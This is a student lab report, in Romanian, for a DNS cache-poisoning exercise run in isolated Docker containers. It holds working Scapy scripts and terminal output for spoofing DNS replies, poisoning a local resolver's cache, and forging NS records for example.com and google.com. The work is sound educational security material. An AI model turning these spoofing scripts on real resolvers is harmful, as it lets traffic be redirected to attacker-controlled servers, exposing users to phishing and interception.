

Raport pentru lucrarea 8: Atacul asupra DNS local

Autor: Birlutiu Claudiu-Andrei

Setarea mediului

- Pentru a crea mediul local de simulare a atacului DNS a fost nevoie de crearea celor 4 containere docker: unul pentru victima, unul pentru serverul DNS local și 2 pentru atacator
- am rulat comand dcbuild urmat de dcup pentru construirea containerelor necesare și pornirea lor

```
[05/02/23]seed@VM:~/.../Birlutiu_Claudiu_Cod$ dcbuild
Router uses an image, skipping
attacker uses an image, skipping
Building local-server
Step 1/4 : FROM handsonsecurity/seed-server:bind
bind: Pulling from handsonsecurity/seed-server
da7391352a9b: Already exists
14428a6d4bcd: Already exists
2c2d948710f2: Already exists
2c821fdd764b: Pull complete
Digest: sha256:e41ad35fe34590ad6c9ca63a1eab3b7e66796c326a4b2192de34fa30a15fe643
Status: Downloaded newer image for handsonsecurity/seed-server:bind
--> bbf95098dacf
Step 2/4 : COPY named.conf /etc/bind/
--> fda58fb9cfac
Step 3/4 : COPY named.conf.options /etc/bind/
--> 2fd1c03c0188
Step 4/4 : CMD service named start && tail -f /dev/null
--> Running in 148a0649ccfd
Removing intermediate container 148a0649ccfd
--> 8723fdecc2dd

Successfully built 8723fdecc2dd
```

```
[05/02/23]seed@VM:~/.../Birlutiu_Claudiu_Cod$ dcup
Creating network "net-10.8.0.0" with the default driver
Creating seed-attacker ... done
Creating local-dns-server-10.9.0.53 ... done
Creating user-10.9.0.5 ... done
Creating attacker-ns-10.9.0.153 ... done
Creating seed-router ... done
Attaching to seed-attacker, user-10.9.0.5, local-dns-server-10.9.0.53, attacker-ns-10.9.0.153, seed-router
attacker-ns-10.9.0.153 | * Starting domain name service... named [ OK ]
local-dns-server-10.9.0.53 | * Starting domain name service... named [ OK ]
```

- de remarcă este că la configurarea container-ului pentru atacator avem setat **network_mode** la **host** pentru a putea vedea pachetele din alte containere

```
attacker:
  image: handsonsecurity/seed-ubuntu:large
  container_name: seed-attacker
  tty: true
  cap_add:
    - ALL
  privileged: true
  volumes:
    - ./volumes:/volumes
  network_mode: host
```

- în acest caz, containerul attacker este configurat astfel încât vede toate interfețele de rețea ale gazdei și chiar are aceleași adrese IP ca și gazda.

În ceea ce privește containerul pentru DNS:

- observăm că în fișierul **name.conf.options** avem fixat portul sursă 33333

```
26      dnssec-enable no;
27      dump-file "/var/cache/bind/dump.db";
28      query-source port      33333;
29
```

- de asemenea observăm că a fost dezactivat sistemul de protecție **dnssec**
- am observat de asemenea în fișierul **name.conf** configurarea domeniului **attacker32.com**, care în momentul în care este accesat se va face o redirectare spre serverul de domeniu din containerul atacatorului

ASPECTE CONTAINER USER

- în fișierul **resolv.conf** regăsim faptul că serverul 10.9.0.53 este adăugat primul ca server de nume și va juca rolul de dns-server

ASPECTE CONTAINER SERVER NUME ATACATOR

- în acesta în fișierul **named.conf** sunt declarate 2 zone:
 - zona legitimă a atacatorului **attacker32.com**
 - zona falsă **example.com**

TESTARE CONFIGURARI

- m-am conectat la containerul user; am rulat comanda *dig ns.attacker32.com* și am obținut rezultatele din
- comanda *dig* se folosește pentru a interoga serverele DNS și pentru a obține informații despre adresele IP, recordurile DNS și alte informații de rețea.
- Deoarece în serverul dns e configurat faptul să se facă o redirectionare spre dns server al atacatorului -> obținem informații din fisierul *attacker32.com.zone*

```
root@ead5660dbfcf:/# dig ns.attacker32.com

; <<>> DiG 9.16.1-Ubuntu <<>> ns.attacker32.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 31405
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: a881be07aab0c2d6010000006451f28fb10ab252de3fec9 (good)
;; QUESTION SECTION:
;ns.attacker32.com.                IN      A

;; ANSWER SECTION:
ns.attacker32.com.                259200  IN      A      10.9.0.153

;; Query time: 4 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed May 03 05:35:11 UTC 2023
;; MSG SIZE rcvd: 90

root@ead5660dbfcf:/#
```

- în continuare am rulat comandă `dig www.example.com` și am observat faptul că obținem un ip public, deci cererea a fost trimisă către serverul oficial de nume al domain name-ului example.com

```
root@ead5660dbfcf:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->HEADER<- opcode: QUERY, status: NOERROR, id: 33287
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 01b5ad2f4069654d010000006451f4dfda7f495312500cfb (good)
;; QUESTION SECTION:
;www.example.com.                IN      A

;; ANSWER SECTION:
www.example.com.                86400   IN      A      93.184.216.34

;; Query time: 756 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed May 03 05:45:03 UTC 2023
;; MSG SIZE rcvd: 88

root@ead5660dbfcf:/#
```

- dacă punem `dig @ns.attacker32.com www.example.com`
 - interoghează serverul DNS specificat prin "ns.attacker32.com" pentru a obține informații despre adresa IP asociată cu domeniul "www.example.com"
 - obținem ip-ul din zone_example.com din serverul de nume al atacatorului

```
root@ead5660dbfcf:/# dig @ns.attacker32.com www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> @ns.attacker32.com www.example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->HEADER<- opcode: QUERY, status: NOERROR, id: 28368
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: cffd0ec68e6fd0d3010000006451f67488a9be3672bd158d (good)
;; QUESTION SECTION:
;www.example.com.                IN      A

;; ANSWER SECTION:
www.example.com.                259200  IN      A      1.2.3.5

;; Query time: 0 msec
;; SERVER: 10.9.0.153#53(10.9.0.153)
;; WHEN: Wed May 03 05:51:48 UTC 2023
;; MSG SIZE rcvd: 88

root@ead5660dbfcf:/#
```

Sarcini de atac

Sarcina 1: Falsificarea directă a răspunsului dat utilizatorului

- In prima faza m-am conectat pe containerul atacatorului si am rulat ifconfig pentru a vedea interfata pentru 10.9.0.0 pentru a modifica fisierul dns_sniff_spoof.py

```
38 # Sniff UDP query packets and invoke spoof_dns().
39 f = 'udp and dst port 53'
40 pkt = sniff(iface='br-1ee11a571e21', filter=f, prn=spoof_dns)
41
```

PROBLEMS 16 OUTPUT DEBUG CONSOLE TERMINAL

```
br-1ee11a571e21: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 10.9.0.1 netmask 255.255.255.0 broadcast 10.9.0.255
    inet6 fe80::42:9dff:fe40:a100 prefixlen 64 scopeid 0x20<link>
    ether 02:42:9d:40:a1:00 txqueuelen 0 (Ethernet)
    RX packets 789 bytes 180341 (180.3 KB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 888 bytes 111966 (111.9 KB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

Fisierul de atac arata in felul urmator; am preluat informatia din fisierul dns_sniff_spoof.py pus la dispozitie in laborator si am facut pentru example.com

```

1  #!/usr/bin/env python3
2  from scapy.all import *
3
4  def spoof_dns(pkt):
5      #verificăm dacă un pachet de rețea (pkt) utilizează protocolul DNS și
6      #dacă numele de domeniu interogată (QNAME) în cadrul pachetului este "www.example.com".
7      if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):
8          print (pkt.sprintf("{DNS: %IP.src% -->%IP.dst%:%DNS.id%}"))
9          # Swap the source and destination IP address
10         IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
11         # Swap the source and destination port number
12         UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
13         # The Answer Section
14         Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
15                        ttl=259200, rdata='10.0.2.5')
16         # Construct the DNS packet
17         DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
18                      qdcount=1, ancoun=1, nscount=2, arcount=2,
19                      an=Anssec)
20         # Construct the entire IP packet and send it out
21         spoofpkt = IPpkt/UDPpkt/DNSpkt
22         send([spoofpkt])
23
24 # Sniff UDP query packets and invoke spoof_dns().
25 f = 'udp and dst port 53'
26 pkt = sniff(iface='br-1ee11a571e21', filter=f, prn=spoof_dns)

```

- rulăm programul dns_sniff_spoof_example_com.py creat (cel de sus) din containerul atacatorului
- în prima fază observăm că atacatorul a interceptat cererea DNS și chiar dacă a trimis un pachet ca răspuns, userul a primit răspuns mai rapid de la serverul de nume real al domeniului www.example.com

```

root@VM:/volumes# ./dns_sniff_spoof_example_com.py
10.9.0.5 -->10.9.0.53:22276
.
Sent 1 packets.
[]

; <<> DiG 9.16.1-Ubuntu <<> www.example.com
;; global options: +cmd
;; Got answer:
;; ->HEADER<- opcode: QUERY, status: NOERROR, id: 22276
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 44bf07ecf07ec50a0100000064520100ef44ed9dba456c5c (good)
;; QUESTION SECTION:
;www.example.com.                IN      A

;; ANSWER SECTION:
www.example.com.                 83295   IN      A      93.184.216.34

;; Query time: 4 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed May 03 06:36:48 UTC 2023
;; MSG SIZE rcvd: 88

root@ead5660dbfcf:/#

```

- pentru a remedia problema, am aplicat sugestiile din laborator prin care incetinesc traficul de internet
 - gasim in prima faza interfata pentru 10.8.0.0 si aceasta e eth0

```
[05/03/23]seed@VM:~/.../BirlutiuClaudiuAndrei$ dockps
749f9a807a40 local-dns-server-10.9.0.53
ead5660dbfcf user-10.9.0.5
9a94e6122ea1 seed-router
79150c48fa28 seed-attacker
6daae191177e attacker-ns-10.9.0.153
[05/03/23]seed@VM:~/.../BirlutiuClaudiuAndrei$ docksh 9a94e6122ea1
root@9a94e6122ea1:/# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 10.8.0.11 netmask 255.255.255.0 broadcast 10.8.0.255
    ether 02:42:0a:08:00:0b txqueuelen 0 (Ethernet)
    RX packets 198 bytes 43496 (43.4 KB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 96 bytes 7384 (7.3 KB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

- al doilea pas este executia comenzii tc pe eth0: *tc qdisc add dev eth0 root netem delay 100ms*

```
root@9a94e6122ea1:/# tc qdisc add dev eth0 root netem delay 100ms
root@9a94e6122ea1:/#
```

- facem clear la dns-ul local

```
[05/06/23]seed@VM:~/.../BirlutiuClaudiuAndrei$ docksh 749f9a807a40
root@749f9a807a40:/# rndc flush
root@749f9a807a40:/#
```

- executam comanda dq si observam ca nu se va mai ajunge la serverul de nume real al domeniului example.com ci la atacator

```
nt 1 packets.
0.9.0.5 -->10.9.0.53:60815

nt 1 packets.
0.9.0.5 -->10.9.0.53:42158

nt 1 packets.
0.9.0.53 -->199.43.133.53:29016

nt 1 packets.
0.9.0.53 -->199.43.133.53:45703

nt 1 packets.
0.9.0.53 -->199.43.135.53:62938

nt 1 packets.
0.9.0.53 -->199.43.135.53:38159

nt 1 packets.

root@ead5660dbfcf:/# dig www.example.com
;; Warning: Message parser reports malformed message packet.

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->HEADER<<- opcode: QUERY, status: NOERROR, id: 42158
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2

;; QUESTION SECTION:
;www.example.com.                IN      A

;; ANSWER SECTION:
www.example.com. 259200 IN      A      10.0.2.5

;; Query time: 63 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat May 06 07:02:13 UTC 2023
;; MSG SIZE rcvd: 64

root@ead5660dbfcf:/#
```


Sarcina 2: Atacul cu otrăvirea cache DNS - falsificarea răspunsurilor

- Dezavantajul soluției anterioare este faptul că de fiecare dată când mașina utilizatorului trimite o interogare DNS pentru domeniul www.example.com, mașina atacatorului trebuie să trimită DNS-ul falsificat – metoda ineficientă
- o metodă mult mai bună este de a cătușă serverul DNS, în locul containerului utilizator; serverul DNS caută prima dată în cache, iar apoi va încerca să găsească răspunsuri de la alte servere DNS → atacatorul poate falsifica răspunsul de la alte servere DNS, iar serverul local va păstra în cache acest răspuns
 - atacatorul va putea să falsifice doar o dată, iar serverul local va păstra în cache informația până când este setată să expire → atacul se numește otrăvirea cache DNS
- am modificat filtrul pentru capturarea cererilor DNS din partea server-ului de nume local DNS care rulează pe **10.9.0.53** se poate observa în fișierul **dns_example_com_cache.py**

```
L08 > Birlutiu_Claudiu_L08 > Birlutiu_Claudiu_Cod > volumes > dns_example_com_cache.py > ...
1  #!/usr/bin/env python3
2  from scapy.all import *
3
4  def spoof_dns(pkt):
5      #verificăm dacă un pachet de rețea (pkt) utilizează protocolul DNS și
6      #dacă numele de domeniu interogată (QNAME) în cadrul pachetului este "www.example.com".
7      if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):
8          pkt.show()
9          # Swap the source and destination IP address
10         IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
11         # Swap the source and destination port number
12         UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
13         # The Answer Section
14         Ansec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
15                       ttl=259200, rdata='10.0.2.5')
16
17         # Construct the DNS packet
18         DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
19                     qdcount=1, ancount=1, nscount=0, arcount=0,
20                     an=Ansec)
21         # Construct the entire IP packet and send it out
22         spoofpkt = IPpkt/UDPpkt/DNSpkt
23         send(spoofpkt)
24
25         ⚡ Sniff UDP query packets and invoke spoof_dns() - atacăm serverul local de dns
26         f = 'udp and src host 10.9.0.53 and dst port 53'
27         pkt = sniff(iface='br-8eb738e511da', filter=f, prn=spoof_dns)
```


- am curatat cache-ul din server-ul local de DNS

```
root@19b9c9443b22:/# rndc flush
```

- am rulat scriptul **dns_example_com_cache.py** pe containerul atacatorului si am rulat comanda dig www.example.com pe containerul user pentru a vedea daca a fost pacalit si observam ca ip-ul returnat e cel din query

```
root@VM:/volumes# ./dns_example_com_cache.py
###[ Ethernet ]###
dst      = 02:42:0a:09:00:0b
src      = 02:42:0a:09:00:35
type     = IPv4
###[ IP ]###
version  = 4
ihl      = 5
tos      = 0x0
len      = 84
id       = 24027
flags    =
frag     = 0
ttl      = 64
proto    = udp
chksum   = 0xc61f
src      = 10.9.0.53
dst      = 199.43.133.53
\options
###[ UDP ]###
sport    = 33333
dport    = domain
len      = 64
chksum   = 0x56f0
###[ DNS ]###

root@2d3996ef2d85:/# dig www.example.com
; <<> DiG 9.16.1-Ubuntu <<> www.example.com
; global options: +cmd
; Got answer:
; ->HEADER<- opcode: QUERY, status: NOERROR, id: 14513
; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: Seb9377fc5f7510201000000645652b8d3bc6a96ef993461 (good)
; QUESTION SECTION:
;www.example.com.                IN      A

; ANSWER SECTION:
www.example.com.                259200  IN      A      10.0.2.5

; Query time: 1860 msec
; SERVER: 10.9.0.53#53(10.9.0.53)
; WHEN: Sat May 06 13:14:32 UTC 2023
; MSG SIZE rcvd: 88

root@2d3996ef2d85:/#
```

- am verificat cache-ul de pe serverul local de dns si observam ca a fost adaugata intrarea in cache. Astfel, la rularile urmatoare a comenzii dig am observat ca nu se va mai ajunge sa se ajunga sa faca interogare serverul de nume local in exterior, ci se va uita in cache

```
root@19b9c9443b22:/# rndc flush
root@19b9c9443b22:/# rndc dumpdb -cache
root@19b9c9443b22:/# cat /var/cache/bind/dump.db | grep "example.com"
example.com.                777129  NS      ns.attacker.com.
www.example.com.            863530  A      10.0.2.5
root@19b9c9443b22:/#
```

Sarcina 3: Falsificarea înregistrărilor NS

- Atacul anterior afecta doar un un nume gazda, (www.example.com), pentru a lansa un atac care poate afecta intregul domeniu example.com vom adauga un nou header in raspunssul atacatorului care include si authority section
- lansarea unui astfel de atac consta in adaugarea **ns.attacker32.com** ca server de nume care va fi folosit pentru interogari viitoare ale oricarui nume de gazda din domeniul **example.com**
- am creat fisierul `dns_example_com_task_3.py` unde am adaugat si authority section

```
L08 > Birlutiu_Claudiu_L08 > Birlutiu_Claudiu_Cod > volumes > dns_example_com_task_3.py > spoof_dns
1  #!/usr/bin/env python3
2  from scapy.all import *
3
4  def spoof_dns(pkt):
5      #verificăm dacă un pachet de rețea (pkt) utilizează protocolul DNS și
6      #dacă numele de domeniu interogat (QNAME) în cadrul pachetului este "www.example.com".
7      if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):
8          pkt.show()
9          # Swap the source and destination IP address
10         IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
11         # Swap the source and destination port number
12         UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
13         # The Answer Section
14         Ansec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
15                       ttl=259200, rdata='10.0.2.5')
16         # Adaugarea campului de authority pentru example.com
17         NS_example = DNSRR(rrname='example.com', type='NS',
18                           ttl=259200, rdata='ns.attacker32.com')
19         # Construct the DNS packet
20         DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
21                     qdcount=1, ancount=1, nscount=1, arcount=0,
22                     an=Ansec, ns=NS_example)
23         # Construct the entire IP packet and send it out
24         spoofpkt = IPpkt/UDPpkt/DNSpkt
25         send(spoofpkt)
26
27     # Sniff UDP query packets and invoke spoof_dns() - atacam serverul local de dns
28     f = 'udp and src host 10.9.0.53 and dst port 53'
29     pkt = sniff(iface='br-8eb738e511da', filter=f, prn=spoof_dns)
30
```

- am facut clean la memoria cache a serverului local de DNS si am exectuau codul de atac pe containerul ataactorului si am rulat comanda dig pe containerul user

```

PROBLEMS 66 OUTPUT DEBUG CONSOLE TERMINAL
| z      = D0
| rdlen  = None
| \rdata \
| ###[ DNS EDNS0 TLV ]###
| | opcode = 10
| | optlen  = 8
| | optdata = 'mo\xfl\x81\xdbZ\x0b
M'
.
Sent 1 packets.
;; QUESTION SECTION:
;www.example.com.          IN      A

;; ANSWER SECTION:
www.example.com.          259200 IN      A      10.0.2.5

;; Query time: 60 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat May 06 13:43:53 UTC 2023
;; MSG SIZE rcvd: 88

root@2d3996ef2d85:/#

```

- si observmam ca in cache avem adaugat domeniul example.com iar serverul de nume atasat este ns.attacker32.com

```

root@19b9c9443b22:/# rndc dumpdb -cache
root@19b9c9443b22:/# cat /var/cache/bind/dump.db | grep "example.com"
example.com.          777564 NS      ns.attacker32.com.
www.example.com.      863987 A       10.0.2.5
root@19b9c9443b22:/#

```

- am lansat in executie si comanda mail.example.com si a observat ca s-a interograt serverul de nume al atacatorului (ns.attacker32.com)

```

root@2d3996ef2d85:/# dig mail.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> mail.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29350
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 43affdc60c3cb6c301000000064565a00b3a78314944f39a5 (good)
;; QUESTION SECTION:
;mail.example.com.          IN      A

;; ANSWER SECTION:
mail.example.com.          259200 IN      A      1.2.3.6

;; Query time: 4 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat May 06 13:45:36 UTC 2023
;; MSG SIZE rcvd: 89

root@2d3996ef2d85:/# dig ftp.example.com

```

Sarcina 4: Falsificarea înregistrărilor NS pentru alt domeniu

- Am reușit înainte să setez ns.attacker32.com ca server de nume pentru domeniul **example.com**
- în `dns_example_com_task_4.py` am făcut modificările corespunzătoare pentru un atac prin care falsificăm și serverul de nume pentru al domeniu cum ar fi cel pentru google.com

```
L08 > Birlutiu_Claudiu_L08 > Birlutiu_Claudiu_Cod > volumes > dns_example_com_task_4.py > spoof_dns > NS_google
1  #!/usr/bin/env python3
2  from scapy.all import *
3
4  def spoof_dns(pkt):
5      #verificăm dacă un pachet de rețea (pkt) utilizează protocolul DNS și
6      #dacă numele de domeniu interogată (QNAME) în cadrul pachetului este "www.example.com".
7      if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):
8          pkt.show()
9          # Swap the source and destination IP address
10         IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
11         # Swap the source and destination port number
12         UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
13         # The Answer Section
14         Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
15             ttl=259200, rdata='10.0.2.5')
16         # Adaugarea campului de authority pentru example.com
17         NS_example = DNSRR(rrname='example.com', type='NS',
18             ttl=259200, rdata='ns.attacker32.com')
19         # adaugam un nou domeniu pe care sa il falsificam de exemplu google.com
20         NS_google = DNSRR(rrname='google.com', type='NS',
21             ttl=259200, rdata='ns.attacker32.com')
22         # Construct the DNS packet
23         DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
24             qdcount=1, ancount=1, nscount=2, arcount=0,
25             an=Anssec, ns=NS_example/NS_google)
26         # Construct the entire IP packet and send it out
27         spoofpkt = IPpkt/UDPpkt/DNSpkt
28         send(spoofpkt)
29
30     # Sniff UDP query packets and invoke spoof_dns() - atacam serverul local de dns
31     f = 'udp and src host 10.9.0.53 and dst port 53'
32     pkt = sniff(iface='br-8eb738e511da', filter=f, prn=spoof_dns)
```

- stergem cache-ul din serverul de nume local, lansam in executie scriptul *dns_example_com_task_4.py* si executam interogari de tipul dig pe containerul user

```

#### DNS Resource Record ]###
rrname = 'www.example.com.'
type = A
rclass = IN
ttl = 259200
rdlen = None
rdata = 10.0.2.5
\ns
#### DNS Resource Record ]###
rrname = 'example.com'
type = NS
rclass = IN
ttl = 259200
rdlen = None
rdata = 'ns.attacker32.com'
#### DNS Resource Record ]###
rrname = 'google.com'
type = NS
rclass = IN
ttl = 259200
rdlen = None
rdata = 'ns.attacker32.com'
ar = None

Sent 1 packets.

root@2d3996ef2d85:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 62073
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
;; EDNS: version: 0, flags:;, udp: 4096
;; COOKIE: 8601d1ac05bcc04010000006456652193dc8d55e30577d0 (good)
;; QUESTION SECTION:
;www.example.com.                IN      A

;; ANSWER SECTION:
www.example.com.                259200  IN      A      10.0.2.5

;; Query time: 1932 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat May 06 14:33:05 UTC 2023
;; MSG SIZE rcvd: 88

root@2d3996ef2d85:/#

```

- observam ca s-a pus si domeniu; google.com la serverul de nume ns.attacker32.com

```

root@19b9c9443b22:/# rndc dumpdb -cache
root@19b9c9443b22:/# cat /var/cache/bind/dump.db | grep "google.com"
google.com.                863990  NS      ns.attacker32.com.

```

- NU A MERS pur si simplu, doar prin inversare

Sarcina 5: Falsificarea înregistrărilor din secțiunea Additional

- In cadrul acestei sarcini incercam sa adaugam un additional section cu niste valori pe care dorim sa le punem in DNS cache (de exemplu sa falsificam serverul de nume pentru facebook.com) - o sa vedem ca nu se poate
- am creat urmatorul script python cu additional section-ul mentionat

```
L08 > Birlutiu_Claudiu_L08 > Birlutiu_Claudiu_Cod > volumes > dns_example_com_task_5.py > spoof_dns
6  #daca numele de domeniu interogat (QNAME) in cadrul pachetului este "www.example.com".
7  if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):
8      pkt.show()
9      # Swap the source and destination IP address
10     IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
11     # Swap the source and destination port number
12     UDPPkt = UDP(dport=pkt[UDP].sport, sport=53)
13     # The Answer Section
14     Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
15                   ttl=259200, rdata='10.0.2.5')
16     # Adaugarea campului de authority pentru example.com
17     NS_example_1 = DNSRR(rrname='example.com.', type='NS',
18                          ttl=259200, rdata='ns.attacker32.com')
19     NS_example_2 = DNSRR(rrname='example.com.', type='NS',
20                          ttl=259200, rdata='ns.example.com')
21
22
23     # Falsificarea inregistrarilor din sectiunea Additional
24     Addsec1 = DNSRR(rrname='ns.attacker32.com.', type='A',
25                    ttl=259200, rdata='1.2.3.4')
26     Addsec2 = DNSRR(rrname='ns.example.net.', type='A',
27                    ttl=259200, rdata='5.6.7.8')
28     Addsec3 = DNSRR(rrname='www.facebook.com.', type='A',
29                    ttl=259200, rdata='3.4.5.6')
30
31     # Construct the DNS packet
32     DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
33                qdcount=1, ancount=1, nscount=2, arcount=3,
34                an=Anssec, ns=NS_example_1/NS_example_2, ar=Addsec1/Addsec2/Addsec3)
35     # Construct the entire IP packet and send it out
36     spoofpkt = IPpkt/UDPPkt/DNSpkt
37     spoofpkt.show()
38     send(spoofpkt)
39
40 # Sniff UDP query packets and invoke spoof_dns() - atacam serverul local de dns
41 f = 'udp and src host 10.9.0.53 and dst port 53'
42 pkt = sniff(iface='br-8eb738e511da', filter=f, prn=spoof_dns)
43
```


- am sters cache-ul din serverul local de DNS si am executat scriptul de mai sus in containerul atacatorului; aceeasi interogare pusa in containerul user (dig www.example.com)

```

| qclass      = IN
\an
|###[ DNS Resource Record ]###
| rrname      = 'www.example.com.'
| type        = A
| rclass      = IN
| ttl         = 259200
| rdlen       = None
| rdata       = 10.0.2.5
\ns
|###[ DNS Resource Record ]###
| rrname      = 'example.com.'
| type        = NS
| rclass      = IN
| ttl         = 259200
| rdlen       = None
| rdata       = 'ns.attacker32.com'
|###[ DNS Resource Record ]###
| rrname      = 'example.com.'
| type        = NS
| rclass      = IN
| ttl         = 259200
| rdlen       = None
| rdata       = 'ns.example.com'
\ar
|###[ DNS Resource Record ]###
| rrname      = 'ns.attacker32.com.'
| type        = A
| rclass      = IN
| ttl         = 259200
| rdlen       = None
| rdata       = 1.2.3.4
|###[ DNS Resource Record ]###
| rrname      = 'ns.example.net.'
| type        = A
| rclass      = IN
| ttl         = 259200
| rdlen       = None
| rdata       = 5.6.7.8
|###[ DNS Resource Record ]###
| rrname      = 'www.facebook.com.'
| type        = A
| rclass      = IN
| ttl         = 259200
| rdlen       = None
| rdata       = 3.4.5.6
.
Sent 1 packets.

root@2d3996ef2d85:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->HEADER<- opcode: QUERY, status: NOERROR, id: 28548
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
;; EDNS: version: 0, flags:; udp: 4096
;; COOKIE: 11dc4f692373ea0a01000000645675c90bdd73f27a6ccc8a (good)
;; QUESTION SECTION:
;www.example.com.                IN      A

;; ANSWER SECTION:
www.example.com.                259200  IN      A      10.0.2.5

;; Query time: 84 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat May 06 15:44:09 UTC 2023
;; MSG SIZE rcvd: 88

root@2d3996ef2d85:/#

```

- cautam in cache daca s-au adaugat valorile dorite

```

root@19b9c9443b22:/# cat /var/cache/bind/dump.db | grep "example.com"
example.com.          777518  NS      ns.example.com.
www.example.com.      863927  A       10.0.2.5
root@19b9c9443b22:/# cat /var/cache/bind/dump.db | grep "attacker32.com"
777518  NS      ns.attacker32.com.
root@19b9c9443b22:/# cat /var/cache/bind/dump.db | grep "facebook.com"
root@19b9c9443b22:/#

```

- ceea ce s-a adaugat este la domeniul **example.com** cele 2 servere de nume ce pot fi interogate pentru a accesa ip-ul domeniului (ns.example.com su ns.attacker.com) deoarece acestea au fost adaugate in sectiunea de authority
- in schimb, toate cele 3 intrari pe care le-am dorit sa le adaugam in cache (attacker32.com., ns.example.net. Si www.facebook.com) nu s-au salvat in cache, ci au fost ignorate, deoarece nu faceau referire la domeniul example.com